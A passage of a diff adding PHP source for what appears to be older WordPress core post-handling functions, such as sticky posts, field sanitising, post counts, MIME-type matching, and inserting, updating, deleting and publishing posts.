+	$custom = get_post_custom( $post_id );
+
+	if ( !is_array($custom) )
+		return;
+
+	if ( $keys = array_keys($custom) )
+		return $keys;
+}
+
+/**
+ * Retrieve values for a custom post field.
+ *
+ * The parameters must not be considered optional. All of the post meta fields
+ * will be retrieved and only the meta field key values returned.
+ *
+ * @since 1.2.0
+ * @link http://codex.wordpress.org/Function_Reference/get_post_custom_values
+ *
+ * @param string $key Meta field key.
+ * @param int $post_id Post ID
+ * @return array Meta field values.
+ */
+function get_post_custom_values( $key = '', $post_id = 0 ) {
+	if ( !$key )
+		return null;
+
+	$custom = get_post_custom($post_id);
+
+	return isset($custom[$key]) ? $custom[$key] : null;
+}
+
+/**
+ * Check if post is sticky.
+ *
+ * Sticky posts should remain at the top of The Loop. If the post ID is not
+ * given, then The Loop ID for the current post will be used.
+ *
+ * @since 2.7.0
+ *
+ * @param int $post_id Optional. Post ID.
+ * @return bool Whether post is sticky (true) or not sticky (false).
+ */
+function is_sticky($post_id = null) {
+	global $id;
+
+	$post_id = absint($post_id);
+
+	if ( !$post_id )
+		$post_id = absint($id);
+
+	$stickies = get_option('sticky_posts');
+
+	if ( !is_array($stickies) )
+		return false;
+
+	if ( in_array($post_id, $stickies) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Sanitize every post field.
+ *
+ * If the context is 'raw', then the post object or array will get minimal santization of the int fields.
+ *
+ * @since 2.3.0
+ * @uses sanitize_post_field() Used to sanitize the fields.
+ *
+ * @param object|array $post The Post Object or Array
+ * @param string $context Optional, default is 'display'. How to sanitize post fields.
+ * @return object|array The now sanitized Post Object or Array (will be the same type as $post)
+ */
+function sanitize_post($post, $context = 'display') {
+	if ( is_object($post) ) {
+		if ( !isset($post->ID) )
+			$post->ID = 0;
+		foreach ( array_keys(get_object_vars($post)) as $field )
+			$post->$field = sanitize_post_field($field, $post->$field, $post->ID, $context);
+		$post->filter = $context;
+	} else {
+		if ( !isset($post['ID']) )
+			$post['ID'] = 0;
+		foreach ( array_keys($post) as $field )
+			$post[$field] = sanitize_post_field($field, $post[$field], $post['ID'], $context);
+		$post['filter'] = $context;
+	}
+
+	return $post;
+}
+
+/**
+ * Sanitize post field based on context.
+ *
+ * Possible context values are:  'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The
+ * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display'
+ * when calling filters.
+ *
+ * @since 2.3.0
+ * @uses apply_filters() Calls 'edit_$field' and '${field_no_prefix}_edit_pre' passing $value and
+ *  $post_id if $context == 'edit' and field name prefix == 'post_'.
+ *
+ * @uses apply_filters() Calls 'edit_post_$field' passing $value and $post_id if $context == 'db'.
+ * @uses apply_filters() Calls 'pre_$field' passing $value if $context == 'db' and field name prefix == 'post_'.
+ * @uses apply_filters() Calls '${field}_pre' passing $value if $context == 'db' and field name prefix != 'post_'.
+ *
+ * @uses apply_filters() Calls '$field' passing $value, $post_id and $context if $context == anything
+ *  other than 'raw', 'edit' and 'db' and field name prefix == 'post_'.
+ * @uses apply_filters() Calls 'post_$field' passing $value if $context == anything other than 'raw',
+ *  'edit' and 'db' and field name prefix != 'post_'.
+ *
+ * @param string $field The Post Object field name.
+ * @param mixed $value The Post Object value.
+ * @param int $post_id Post ID.
+ * @param string $context How to sanitize post fields. Looks for 'raw', 'edit', 'db', 'display',
+ *               'attribute' and 'js'.
+ * @return mixed Sanitized value.
+ */
+function sanitize_post_field($field, $value, $post_id, $context) {
+	$int_fields = array('ID', 'post_parent', 'menu_order');
+	if ( in_array($field, $int_fields) )
+		$value = (int) $value;
+
+	if ( 'raw' == $context )
+		return $value;
+
+	$prefixed = false;
+	if ( false !== strpos($field, 'post_') ) {
+		$prefixed = true;
+		$field_no_prefix = str_replace('post_', '', $field);
+	}
+
+	if ( 'edit' == $context ) {
+		$format_to_edit = array('post_content', 'post_excerpt', 'post_title', 'post_password');
+
+		if ( $prefixed ) {
+			$value = apply_filters("edit_$field", $value, $post_id);
+			// Old school
+			$value = apply_filters("${field_no_prefix}_edit_pre", $value, $post_id);
+		} else {
+			$value = apply_filters("edit_post_$field", $value, $post_id);
+		}
+
+		if ( in_array($field, $format_to_edit) ) {
+			if ( 'post_content' == $field )
+				$value = format_to_edit($value, user_can_richedit());
+			else
+				$value = format_to_edit($value);
+		} else {
+			$value = esc_attr($value);
+		}
+	} else if ( 'db' == $context ) {
+		if ( $prefixed ) {
+			$value = apply_filters("pre_$field", $value);
+			$value = apply_filters("${field_no_prefix}_save_pre", $value);
+		} else {
+			$value = apply_filters("pre_post_$field", $value);
+			$value = apply_filters("${field}_pre", $value);
+		}
+	} else {
+		// Use display filters by default.
+		if ( $prefixed )
+			$value = apply_filters($field, $value, $post_id, $context);
+		else
+			$value = apply_filters("post_$field", $value, $post_id, $context);
+	}
+
+	if ( 'attribute' == $context )
+		$value = esc_attr($value);
+	else if ( 'js' == $context )
+		$value = esc_js($value);
+
+	return $value;
+}
+
+/**
+ * Make a post sticky.
+ *
+ * Sticky posts should be displayed at the top of the front page.
+ *
+ * @since 2.7.0
+ *
+ * @param int $post_id Post ID.
+ */
+function stick_post($post_id) {
+	$stickies = get_option('sticky_posts');
+
+	if ( !is_array($stickies) )
+		$stickies = array($post_id);
+
+	if ( ! in_array($post_id, $stickies) )
+		$stickies[] = $post_id;
+
+	update_option('sticky_posts', $stickies);
+}
+
+/**
+ * Unstick a post.
+ *
+ * Sticky posts should be displayed at the top of the front page.
+ *
+ * @since 2.7.0
+ *
+ * @param int $post_id Post ID.
+ */
+function unstick_post($post_id) {
+	$stickies = get_option('sticky_posts');
+
+	if ( !is_array($stickies) )
+		return;
+
+	if ( ! in_array($post_id, $stickies) )
+		return;
+
+	$offset = array_search($post_id, $stickies);
+	if ( false === $offset )
+		return;
+
+	array_splice($stickies, $offset, 1);
+
+	update_option('sticky_posts', $stickies);
+}
+
+/**
+ * Count number of posts of a post type and is user has permissions to view.
+ *
+ * This function provides an efficient method of finding the amount of post's
+ * type a blog has. Another method is to count the amount of items in
+ * get_posts(), but that method has a lot of overhead with doing so. Therefore,
+ * when developing for 2.5+, use this function instead.
+ *
+ * The $perm parameter checks for 'readable' value and if the user can read
+ * private posts, it will display that for the user that is signed in.
+ *
+ * @since 2.5.0
+ * @link http://codex.wordpress.org/Template_Tags/wp_count_posts
+ *
+ * @param string $type Optional. Post type to retrieve count
+ * @param string $perm Optional. 'readable' or empty.
+ * @return object Number of posts for each status
+ */
+function wp_count_posts( $type = 'post', $perm = '' ) {
+	global $wpdb;
+
+	$user = wp_get_current_user();
+
+	$cache_key = $type;
+
+	$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
+	if ( 'readable' == $perm && is_user_logged_in() ) {
+		if ( !current_user_can("read_private_{$type}s") ) {
+			$cache_key .= '_' . $perm . '_' . $user->ID;
+			$query .= " AND (post_status != 'private' OR ( post_author = '$user->ID' AND post_status = 'private' ))";
+		}
+	}
+	$query .= ' GROUP BY post_status';
+
+	$count = wp_cache_get($cache_key, 'counts');
+	if ( false !== $count )
+		return $count;
+
+	$count = $wpdb->get_results( $wpdb->prepare( $query, $type ), ARRAY_A );
+
+	$stats = array( 'publish' => 0, 'private' => 0, 'draft' => 0, 'pending' => 0, 'future' => 0 );
+	foreach( (array) $count as $row_num => $row ) {
+		$stats[$row['post_status']] = $row['num_posts'];
+	}
+
+	$stats = (object) $stats;
+	wp_cache_set($cache_key, $stats, 'counts');
+
+	return $stats;
+}
+
+
+/**
+ * Count number of attachments for the mime type(s).
+ *
+ * If you set the optional mime_type parameter, then an array will still be
+ * returned, but will only have the item you are looking for. It does not give
+ * you the number of attachments that are children of a post. You can get that
+ * by counting the number of children that post has.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array $mime_type Optional. Array or comma-separated list of MIME patterns.
+ * @return array Number of posts for each mime type.
+ */
+function wp_count_attachments( $mime_type = '' ) {
+	global $wpdb;
+
+	$and = wp_post_mime_type_where( $mime_type );
+	$count = $wpdb->get_results( "SELECT post_mime_type, COUNT( * ) AS num_posts FROM $wpdb->posts WHERE post_type = 'attachment' $and GROUP BY post_mime_type", ARRAY_A );
+
+	$stats = array( );
+	foreach( (array) $count as $row ) {
+		$stats[$row['post_mime_type']] = $row['num_posts'];
+	}
+
+	return (object) $stats;
+}
+
+/**
+ * Check a MIME-Type against a list.
+ *
+ * If the wildcard_mime_types parameter is a string, it must be comma separated
+ * list. If the real_mime_types is a string, it is also comma separated to
+ * create the list.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array $wildcard_mime_types e.g. audio/mpeg or image (same as image/*) or
+ *  flash (same as *flash*).
+ * @param string|array $real_mime_types post_mime_type values
+ * @return array array(wildcard=>array(real types))
+ */
+function wp_match_mime_types($wildcard_mime_types, $real_mime_types) {
+	$matches = array();
+	if ( is_string($wildcard_mime_types) )
+		$wildcard_mime_types = array_map('trim', explode(',', $wildcard_mime_types));
+	if ( is_string($real_mime_types) )
+		$real_mime_types = array_map('trim', explode(',', $real_mime_types));
+	$wild = '[-._a-z0-9]*';
+	foreach ( (array) $wildcard_mime_types as $type ) {
+		$type = str_replace('*', $wild, $type);
+		$patternses[1][$type] = "^$type$";
+		if ( false === strpos($type, '/') ) {
+			$patternses[2][$type] = "^$type/";
+			$patternses[3][$type] = $type;
+		}
+	}
+	asort($patternses);
+	foreach ( $patternses as $patterns )
+		foreach ( $patterns as $type => $pattern )
+			foreach ( (array) $real_mime_types as $real )
+				if ( preg_match("#$pattern#", $real) && ( empty($matches[$type]) || false === array_search($real, $matches[$type]) ) )
+					$matches[$type][] = $real;
+	return $matches;
+}
+
+/**
+ * Convert MIME types into SQL.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array $mime_types List of mime types or comma separated string of mime types.
+ * @return string The SQL AND clause for mime searching.
+ */
+function wp_post_mime_type_where($post_mime_types) {
+	$where = '';
+	$wildcards = array('', '%', '%/%');
+	if ( is_string($post_mime_types) )
+		$post_mime_types = array_map('trim', explode(',', $post_mime_types));
+	foreach ( (array) $post_mime_types as $mime_type ) {
+		$mime_type = preg_replace('/\s/', '', $mime_type);
+		$slashpos = strpos($mime_type, '/');
+		if ( false !== $slashpos ) {
+			$mime_group = preg_replace('/[^-*.a-zA-Z0-9]/', '', substr($mime_type, 0, $slashpos));
+			$mime_subgroup = preg_replace('/[^-*.+a-zA-Z0-9]/', '', substr($mime_type, $slashpos + 1));
+			if ( empty($mime_subgroup) )
+				$mime_subgroup = '*';
+			else
+				$mime_subgroup = str_replace('/', '', $mime_subgroup);
+			$mime_pattern = "$mime_group/$mime_subgroup";
+		} else {
+			$mime_pattern = preg_replace('/[^-*.a-zA-Z0-9]/', '', $mime_type);
+			if ( false === strpos($mime_pattern, '*') )
+				$mime_pattern .= '/*';
+		}
+
+		$mime_pattern = preg_replace('/\*+/', '%', $mime_pattern);
+
+		if ( in_array( $mime_type, $wildcards ) )
+			return '';
+
+		if ( false !== strpos($mime_pattern, '%') )
+			$wheres[] = "post_mime_type LIKE '$mime_pattern'";
+		else
+			$wheres[] = "post_mime_type = '$mime_pattern'";
+	}
+	if ( !empty($wheres) )
+		$where = ' AND (' . join(' OR ', $wheres) . ') ';
+	return $where;
+}
+
+/**
+ * Removes a post, attachment, or page.
+ *
+ * When the post and page goes, everything that is tied to it is deleted also.
+ * This includes comments, post meta fields, and terms associated with the post.
+ *
+ * @since 1.0.0
+ * @uses do_action() on 'delete_post' before deletion unless post type is 'attachment'.
+ * @uses do_action() on 'deleted_post' after deletion unless post type is 'attachment'.
+ * @uses wp_delete_attachment() if post type is 'attachment'.
+ *
+ * @param int $postid Post ID.
+ * @return mixed False on failure
+ */
+function wp_delete_post($postid = 0) {
+	global $wpdb, $wp_rewrite;
+
+	if ( !$post = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $postid)) )
+		return $post;
+
+	if ( 'attachment' == $post->post_type )
+		return wp_delete_attachment($postid);
+
+	do_action('delete_post', $postid);
+
+	/** @todo delete for pluggable post taxonomies too */
+	wp_delete_object_term_relationships($postid, array('category', 'post_tag'));
+
+	$parent_data = array( 'post_parent' => $post->post_parent );
+	$parent_where = array( 'post_parent' => $postid );
+
+	if ( 'page' == $post->post_type) {
+	 	// if the page is defined in option page_on_front or post_for_posts,
+		// adjust the corresponding options
+		if ( get_option('page_on_front') == $postid ) {
+			update_option('show_on_front', 'posts');
+			delete_option('page_on_front');
+		}
+		if ( get_option('page_for_posts') == $postid ) {
+			delete_option('page_for_posts');
+		}
+
+		// Point children of this page to its parent, also clean the cache of affected children
+		$children_query = $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE post_parent = %d AND post_type='page'", $postid);
+		$children = $wpdb->get_results($children_query);
+
+		$wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => 'page' ) );
+	} else {
+		unstick_post($postid);
+	}
+
+	// Do raw query.  wp_get_post_revisions() is filtered
+	$revision_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'revision'", $postid ) );
+	// Use wp_delete_post (via wp_delete_post_revision) again.  Ensures any meta/misplaced data gets cleaned up.
+	foreach ( $revision_ids as $revision_id )
+		wp_delete_post_revision( $revision_id );
+
+	// Point all attachments to this post up one level
+	$wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => 'attachment' ) );
+
+	$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->comments WHERE comment_post_ID = %d", $postid ));
+
+	$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->postmeta WHERE post_id = %d", $postid ));
+
+	$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->posts WHERE ID = %d", $postid ));
+
+	if ( 'page' == $post->post_type ) {
+		clean_page_cache($postid);
+
+		foreach ( (array) $children as $child )
+			clean_page_cache($child->ID);
+
+		$wp_rewrite->flush_rules(false);
+	} else {
+		clean_post_cache($postid);
+	}
+
+	wp_clear_scheduled_hook('publish_future_post', $postid);
+
+	do_action('deleted_post', $postid);
+
+	return $post;
+}
+
+/**
+ * Retrieve the list of categories for a post.
+ *
+ * Compatibility layer for themes and plugins. Also an easy layer of abstraction
+ * away from the complexity of the taxonomy layer.
+ *
+ * @since 2.1.0
+ *
+ * @uses wp_get_object_terms() Retrieves the categories. Args details can be found here.
+ *
+ * @param int $post_id Optional. The Post ID.
+ * @param array $args Optional. Overwrite the defaults.
+ * @return array
+ */
+function wp_get_post_categories( $post_id = 0, $args = array() ) {
+	$post_id = (int) $post_id;
+
+	$defaults = array('fields' => 'ids');
+	$args = wp_parse_args( $args, $defaults );
+
+	$cats = wp_get_object_terms($post_id, 'category', $args);
+	return $cats;
+}
+
+/**
+ * Retrieve the tags for a post.
+ *
+ * There is only one default for this function, called 'fields' and by default
+ * is set to 'all'. There are other defaults that can be overridden in
+ * {@link wp_get_object_terms()}.
+ *
+ * @package WordPress
+ * @subpackage Post
+ * @since 2.3.0
+ *
+ * @uses wp_get_object_terms() Gets the tags for returning. Args can be found here
+ *
+ * @param int $post_id Optional. The Post ID
+ * @param array $args Optional. Overwrite the defaults
+ * @return array List of post tags.
+ */
+function wp_get_post_tags( $post_id = 0, $args = array() ) {
+	return wp_get_post_terms( $post_id, 'post_tag', $args);
+}
+
+/**
+ * Retrieve the terms for a post.
+ *
+ * There is only one default for this function, called 'fields' and by default
+ * is set to 'all'. There are other defaults that can be overridden in
+ * {@link wp_get_object_terms()}.
+ *
+ * @package WordPress
+ * @subpackage Post
+ * @since 2.8.0
+ *
+ * @uses wp_get_object_terms() Gets the tags for returning. Args can be found here
+ *
+ * @param int $post_id Optional. The Post ID
+ * @param string $taxonomy The taxonomy for which to retrieve terms. Defaults to post_tag.
+ * @param array $args Optional. Overwrite the defaults
+ * @return array List of post tags.
+ */
+function wp_get_post_terms( $post_id = 0, $taxonomy = 'post_tag', $args = array() ) {
+	$post_id = (int) $post_id;
+
+	$defaults = array('fields' => 'all');
+	$args = wp_parse_args( $args, $defaults );
+
+	$tags = wp_get_object_terms($post_id, $taxonomy, $args);
+
+	return $tags;
+}
+
+/**
+ * Retrieve number of recent posts.
+ *
+ * @since 1.0.0
+ * @uses $wpdb
+ *
+ * @param int $num Optional, default is 10. Number of posts to get.
+ * @return array List of posts.
+ */
+function wp_get_recent_posts($num = 10) {
+	global $wpdb;
+
+	// Set the limit clause, if we got a limit
+	$num = (int) $num;
+	if ($num) {
+		$limit = "LIMIT $num";
+	}
+
+	$sql = "SELECT * FROM $wpdb->posts WHERE post_type = 'post' ORDER BY post_date DESC $limit";
+	$result = $wpdb->get_results($sql,ARRAY_A);
+
+	return $result ? $result : array();
+}
+
+/**
+ * Retrieve a single post, based on post ID.
+ *
+ * Has categories in 'post_category' property or key. Has tags in 'tags_input'
+ * property or key.
+ *
+ * @since 1.0.0
+ *
+ * @param int $postid Post ID.
+ * @param string $mode How to return result, either OBJECT, ARRAY_N, or ARRAY_A.
+ * @return object|array Post object or array holding post contents and information
+ */
+function wp_get_single_post($postid = 0, $mode = OBJECT) {
+	$postid = (int) $postid;
+
+	$post = get_post($postid, $mode);
+
+	// Set categories and tags
+	if($mode == OBJECT) {
+		$post->post_category = wp_get_post_categories($postid);
+		$post->tags_input = wp_get_post_tags($postid, array('fields' => 'names'));
+	}
+	else {
+		$post['post_category'] = wp_get_post_categories($postid);
+		$post['tags_input'] = wp_get_post_tags($postid, array('fields' => 'names'));
+	}
+
+	return $post;
+}
+
+/**
+ * Insert a post.
+ *
+ * If the $postarr parameter has 'ID' set to a value, then post will be updated.
+ *
+ * You can set the post date manually, but setting the values for 'post_date'
+ * and 'post_date_gmt' keys. You can close the comments or open the comments by
+ * setting the value for 'comment_status' key.
+ *
+ * The defaults for the parameter $postarr are:
+ *     'post_status'   - Default is 'draft'.
+ *     'post_type'     - Default is 'post'.
+ *     'post_author'   - Default is current user ID ($user_ID). The ID of the user who added the post.
+ *     'ping_status'   - Default is the value in 'default_ping_status' option.
+ *                       Whether the attachment can accept pings.
+ *     'post_parent'   - Default is 0. Set this for the post it belongs to, if any.
+ *     'menu_order'    - Default is 0. The order it is displayed.
+ *     'to_ping'       - Whether to ping.
+ *     'pinged'        - Default is empty string.
+ *     'post_password' - Default is empty string. The password to access the attachment.
+ *     'guid'          - Global Unique ID for referencing the attachment.
+ *     'post_content_filtered' - Post content filtered.
+ *     'post_excerpt'  - Post excerpt.
+ *
+ * @since 1.0.0
+ * @link http://core.trac.wordpress.org/ticket/9084 Bug report on 'wp_insert_post_data' filter.
+ * @uses $wpdb
+ * @uses $wp_rewrite
+ * @uses $user_ID
+ *
+ * @uses do_action() Calls 'pre_post_update' on post ID if this is an update.
+ * @uses do_action() Calls 'edit_post' action on post ID and post data if this is an update.
+ * @uses do_action() Calls 'save_post' and 'wp_insert_post' on post id and post data just before
+ *                   returning.
+ *
+ * @uses apply_filters() Calls 'wp_insert_post_data' passing $data, $postarr prior to database
+ *                       update or insert.
+ * @uses wp_transition_post_status()
+ *
+ * @param array $postarr Optional. Overrides defaults.
+ * @param bool $wp_error Optional. Allow return of WP_Error on failure.
+ * @return int|WP_Error The value 0 or WP_Error on failure. The post ID on success.
+ */
+function wp_insert_post($postarr = array(), $wp_error = false) {
+	global $wpdb, $wp_rewrite, $user_ID;
+
+	$defaults = array('post_status' => 'draft', 'post_type' => 'post', 'post_author' => $user_ID,
+		'ping_status' => get_option('default_ping_status'), 'post_parent' => 0,
+		'menu_order' => 0, 'to_ping' =>  '', 'pinged' => '', 'post_password' => '',
+		'guid' => '', 'post_content_filtered' => '', 'post_excerpt' => '', 'import_id' => 0);
+
+	$postarr = wp_parse_args($postarr, $defaults);
+	$postarr = sanitize_post($postarr, 'db');
+
+	// export array as variables
+	extract($postarr, EXTR_SKIP);
+
+	// Are we updating or creating?
+	$update = false;
+	if ( !empty($ID) ) {
+		$update = true;
+		$previous_status = get_post_field('post_status', $ID);
+	} else {
+		$previous_status = 'new';
+	}
+
+	if ( ('' == $post_content) && ('' == $post_title) && ('' == $post_excerpt) ) {
+		if ( $wp_error )
+			return new WP_Error('empty_content', __('Content, title, and excerpt are empty.'));
+		else
+			return 0;
+	}
+
+	// Make sure we set a valid category
+	if ( empty($post_category) || 0 == count($post_category) || !is_array($post_category) ) {
+		$post_category = array(get_option('default_category'));
+	}
+
+	//Set the default tag list
+	if ( !isset($tags_input) )
+		$tags_input = array();
+
+	if ( empty($post_author) )
+		$post_author = $user_ID;
+
+	if ( empty($post_status) )
+		$post_status = 'draft';
+
+	if ( empty($post_type) )
+		$post_type = 'post';
+
+	$post_ID = 0;
+
+	// Get the post ID and GUID
+	if ( $update ) {
+		$post_ID = (int) $ID;
+		$guid = get_post_field( 'guid', $post_ID );
+	}
+
+	// Don't allow contributors to set to set the post slug for pending review posts
+	if ( 'pending' == $post_status && !current_user_can( 'publish_posts' ) )
+		$post_name = '';
+
+	// Create a valid post name.  Drafts and pending posts are allowed to have an empty
+	// post name.
+	if ( !isset($post_name) || empty($post_name) ) {
+		if ( !in_array( $post_status, array( 'draft', 'pending' ) ) )
+			$post_name = sanitize_title($post_title);
+		else
+			$post_name = '';
+	} else {
+		$post_name = sanitize_title($post_name);
+	}
+
+	// If the post date is empty (due to having been new or a draft) and status is not 'draft' or 'pending', set date to now
+	if ( empty($post_date) || '0000-00-00 00:00:00' == $post_date )
+		$post_date = current_time('mysql');
+
+	if ( empty($post_date_gmt) || '0000-00-00 00:00:00' == $post_date_gmt ) {
+		if ( !in_array( $post_status, array( 'draft', 'pending' ) ) )
+			$post_date_gmt = get_gmt_from_date($post_date);
+		else
+			$post_date_gmt = '0000-00-00 00:00:00';
+	}
+
+	if ( $update || '0000-00-00 00:00:00' == $post_date ) {
+		$post_modified     = current_time( 'mysql' );
+		$post_modified_gmt = current_time( 'mysql', 1 );
+	} else {
+		$post_modified     = $post_date;
+		$post_modified_gmt = $post_date_gmt;
+	}
+
+	if ( 'publish' == $post_status ) {
+		$now = gmdate('Y-m-d H:i:59');
+		if ( mysql2date('U', $post_date_gmt, false) > mysql2date('U', $now, false) )
+			$post_status = 'future';
+	}
+
+	if ( empty($comment_status) ) {
+		if ( $update )
+			$comment_status = 'closed';
+		else
+			$comment_status = get_option('default_comment_status');
+	}
+	if ( empty($ping_status) )
+		$ping_status = get_option('default_ping_status');
+
+	if ( isset($to_ping) )
+		$to_ping = preg_replace('|\s+|', "\n", $to_ping);
+	else
+		$to_ping = '';
+
+	if ( ! isset($pinged) )
+		$pinged = '';
+
+	if ( isset($post_parent) )
+		$post_parent = (int) $post_parent;
+	else
+		$post_parent = 0;
+
+	if ( !empty($post_ID) ) {
+		if ( $post_parent == $post_ID ) {
+			// Post can't be its own parent
+			$post_parent = 0;
+		} elseif ( !empty($post_parent) ) {
+			$parent_post = get_post($post_parent);
+			// Check for circular dependency
+			if ( $parent_post->post_parent == $post_ID )
+				$post_parent = 0;
+		}
+	}
+
+	if ( isset($menu_order) )
+		$menu_order = (int) $menu_order;
+	else
+		$menu_order = 0;
+
+	if ( !isset($post_password) || 'private' == $post_status )
+		$post_password = '';
+
+	$post_name = wp_unique_post_slug($post_name, $post_ID, $post_status, $post_type, $post_parent);
+
+	// expected_slashed (everything!)
+	$data = compact( array( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_content_filtered', 'post_title', 'post_excerpt', 'post_status', 'post_type', 'comment_status', 'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_parent', 'menu_order', 'guid' ) );
+	$data = apply_filters('wp_insert_post_data', $data, $postarr);
+	$data = stripslashes_deep( $data );
+	$where = array( 'ID' => $post_ID );
+
+	if ($update) {
+		do_action( 'pre_post_update', $post_ID );
+		if ( false === $wpdb->update( $wpdb->posts, $data, $where ) ) {
+			if ( $wp_error )
+				return new WP_Error('db_update_error', __('Could not update post in the database'), $wpdb->last_error);
+			else
+				return 0;
+		}
+	} else {
+		if ( isset($post_mime_type) )
+			$data['post_mime_type'] = stripslashes( $post_mime_type ); // This isn't in the update
+		// If there is a suggested ID, use it if not already present
+		if ( !empty($import_id) ) {
+			$import_id = (int) $import_id;
+			if ( ! $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE ID = %d", $import_id) ) ) {
+				$data['ID'] = $import_id;
+			}
+		}
+		if ( false === $wpdb->insert( $wpdb->posts, $data ) ) {
+			if ( $wp_error )
+				return new WP_Error('db_insert_error', __('Could not insert post into the database'), $wpdb->last_error);
+			else
+				return 0;
+		}
+		$post_ID = (int) $wpdb->insert_id;
+
+		// use the newly generated $post_ID
+		$where = array( 'ID' => $post_ID );
+	}
+
+	if ( empty($data['post_name']) && !in_array( $data['post_status'], array( 'draft', 'pending' ) ) ) {
+		$data['post_name'] = sanitize_title($data['post_title'], $post_ID);
+		$wpdb->update( $wpdb->posts, array( 'post_name' => $data['post_name'] ), $where );
+	}
+
+	wp_set_post_categories( $post_ID, $post_category );
+	// old-style tags_input
+	if ( !empty($tags_input) )
+		wp_set_post_tags( $post_ID, $tags_input );
+	// new-style support for all tag-like taxonomies
+	if ( !empty($tax_input) ) {
+		foreach ( $tax_input as $taxonomy => $tags ) {
+			wp_set_post_terms( $post_ID, $tags, $taxonomy );
+		}
+	}
+
+	$current_guid = get_post_field( 'guid', $post_ID );
+
+	if ( 'page' == $data['post_type'] )
+		clean_page_cache($post_ID);
+	else
+		clean_post_cache($post_ID);
+
+	// Set GUID
+	if ( !$update && '' == $current_guid )
+		$wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post_ID ) ), $where );
+
+	$post = get_post($post_ID);
+
+	if ( !empty($page_template) && 'page' == $data['post_type'] ) {
+		$post->page_template = $page_template;
+		$page_templates = get_page_templates();
+		if ( 'default' != $page_template && !in_array($page_template, $page_templates) ) {
+			if ( $wp_error )
+				return new WP_Error('invalid_page_template', __('The page template is invalid.'));
+			else
+				return 0;
+		}
+		update_post_meta($post_ID, '_wp_page_template',  $page_template);
+	}
+
+	wp_transition_post_status($data['post_status'], $previous_status, $post);
+
+	if ( $update)
+		do_action('edit_post', $post_ID, $post);
+
+	do_action('save_post', $post_ID, $post);
+	do_action('wp_insert_post', $post_ID, $post);
+
+	return $post_ID;
+}
+
+/**
+ * Update a post with new post data.
+ *
+ * The date does not have to be set for drafts. You can set the date and it will
+ * not be overridden.
+ *
+ * @since 1.0.0
+ *
+ * @param array|object $postarr Post data. Arrays are expected to be escaped, objects are not.
+ * @return int 0 on failure, Post ID on success.
+ */
+function wp_update_post($postarr = array()) {
+	if ( is_object($postarr) ) {
+		// non-escaped post was passed
+		$postarr = get_object_vars($postarr);
+		$postarr = add_magic_quotes($postarr);
+	}
+
+	// First, get all of the original fields
+	$post = wp_get_single_post($postarr['ID'], ARRAY_A);
+
+	// Escape data pulled from DB.
+	$post = add_magic_quotes($post);
+
+	// Passed post category list overwrites existing category list if not empty.
+	if ( isset($postarr['post_category']) && is_array($postarr['post_category'])
+			 && 0 != count($postarr['post_category']) )
+		$post_cats = $postarr['post_category'];
+	else
+		$post_cats = $post['post_category'];
+
+	// Drafts shouldn't be assigned a date unless explicitly done so by the user
+	if ( in_array($post['post_status'], array('draft', 'pending')) && empty($postarr['edit_date']) &&
+			 ('0000-00-00 00:00:00' == $post['post_date_gmt']) )
+		$clear_date = true;
+	else
+		$clear_date = false;
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$postarr = array_merge($post, $postarr);
+	$postarr['post_category'] = $post_cats;
+	if ( $clear_date ) {
+		$postarr['post_date'] = current_time('mysql');
+		$postarr['post_date_gmt'] = '';
+	}
+
+	if ($postarr['post_type'] == 'attachment')
+		return wp_insert_attachment($postarr);
+
+	return wp_insert_post($postarr);
+}
+
+/**
+ * Publish a post by transitioning the post status.
+ *
+ * @since 2.1.0
+ * @uses $wpdb
+ * @uses do_action() Calls 'edit_post', 'save_post', and 'wp_insert_post' on post_id and post data.
+ *
+ * @param int $post_id Post ID.
+ * @return null
+ */
+function wp_publish_post($post_id) {
+	global $wpdb;
+
+	$post = get_post($post_id);
+
+	if ( empty($post) )
+		return;
+
+	if ( 'publish' == $post->post_status )
+		return;
+
+	$wpdb->update( $wpdb->posts, array( 'post_status' => 'publish' ), array( 'ID' => $post_id ) );
+
+	$old_status = $post->post_status;
+	$post->post_status = 'publish';
+	wp_transition_post_status('publish', $old_status, $post);
+
+	// Update counts for the post's terms.
+	foreach ( (array) get_object_taxonomies('post') as $taxonomy ) {
+		$tt_ids = wp_get_object_terms($post_id, $taxonomy, 'fields=tt_ids');
+		wp_update_term_count($tt_ids, $taxonomy);
+	}
+
+	do_action('edit_post', $post_id, $post);
+	do_action('save_post', $post_id, $post);
+	do_action('wp_insert_post', $post_id, $post);
+}
+
+/**
+ * Publish future post and make sure post ID has future post status.
+ *
+ * Invoked by cron 'publish_future_post' event. This safeguard prevents cron
+ * from publishing drafts, etc.
+ *
+ * @since 2.5.0
+ *
+ * @param int $post_id Post ID.
+ * @return null Nothing is returned. Which can mean that no action is required or post was published.
+ */
+function check_and_publish_future_post($post_id) {
+
+	$post = get_post($post_id);
+
+	if ( empty($post) )
+		return;
+
+	if ( 'future' != $post->post_status )
+		return;
+
+	$time = strtotime( $post->post_date_gmt . ' GMT' );
+
+	if ( $time > time() ) { // Uh oh, someone jumped the gun!
+		wp_clear_scheduled_hook( 'publish_future_post', $post_id ); // clear anything else in the system
+		wp_schedule_single_event( $time, 'publish_future_post', array( $post_id ) );
+		return;
+	}
+
+	return wp_publish_post($post_id);
+}
+
+
+/**
+ * Given the desired slug and some post details computes a unique slug for the post.
+ *
+ * @param string $slug the desired slug (post_name)
+ * @param integer $post_ID
